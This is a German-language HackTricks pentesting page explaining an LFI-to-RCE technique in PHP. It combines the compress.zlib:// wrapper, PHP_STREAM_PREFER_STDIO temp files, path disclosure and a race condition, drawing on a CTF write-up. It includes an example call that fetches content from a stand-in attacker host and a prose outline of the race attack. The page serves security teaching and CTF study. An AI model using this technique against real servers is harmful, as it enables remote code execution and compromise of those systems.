hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

4.4 KiB

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks
{% endhint %}

compress.zlib:// und PHP_STREAM_PREFER_STDIO

Eine Datei, die mit dem Protokoll compress.zlib:// und dem Flag PHP_STREAM_PREFER_STDIO geöffnet wurde, kann weiterhin Daten, die später an die Verbindung ankommen, in dieselbe Datei schreiben.

Das bedeutet, dass ein Aufruf wie:

file_get_contents("compress.zlib://http://attacker.com/file")

Wird eine Anfrage an http://attacker.com/file senden, dann könnte der Server die Anfrage mit einer gültigen HTTP-Antwort beantworten, die Verbindung offen halten und später zusätzliche Daten senden, die ebenfalls in die Datei geschrieben werden.

Sie können diese Informationen in diesem Teil des php-src-Codes in main/streams/cast.c sehen:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition zu RCE

Dieses CTF wurde mit dem vorherigen Trick gelöst.

Der Angreifer wird den Opfer-Server dazu bringen, eine Verbindung zu öffnen, um eine Datei vom Server des Angreifers zu lesen unter Verwendung des compress.zlib Protokolls.

Während diese Verbindung besteht, wird der Angreifer den Pfad zur erstellten temporären Datei exfiltrieren (er wird vom Server geleakt).

Während die Verbindung noch offen ist, wird der Angreifer eine LFI ausnutzen, um die temporäre Datei zu laden, die er kontrolliert.

Es gibt jedoch eine Überprüfung im Webserver, die verhindert, dass Dateien geladen werden, die <? enthalten. Daher wird der Angreifer eine Race Condition ausnutzen. In der noch offenen Verbindung wird der Angreifer die PHP-Nutzlast NACHDEM der Webserver überprüft hat, ob die Datei die verbotenen Zeichen enthält, aber BEVOR sie ihren Inhalt lädt, senden.

Für weitere Informationen siehe die Beschreibung der Race Condition und das CTF in https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks
{% endhint %}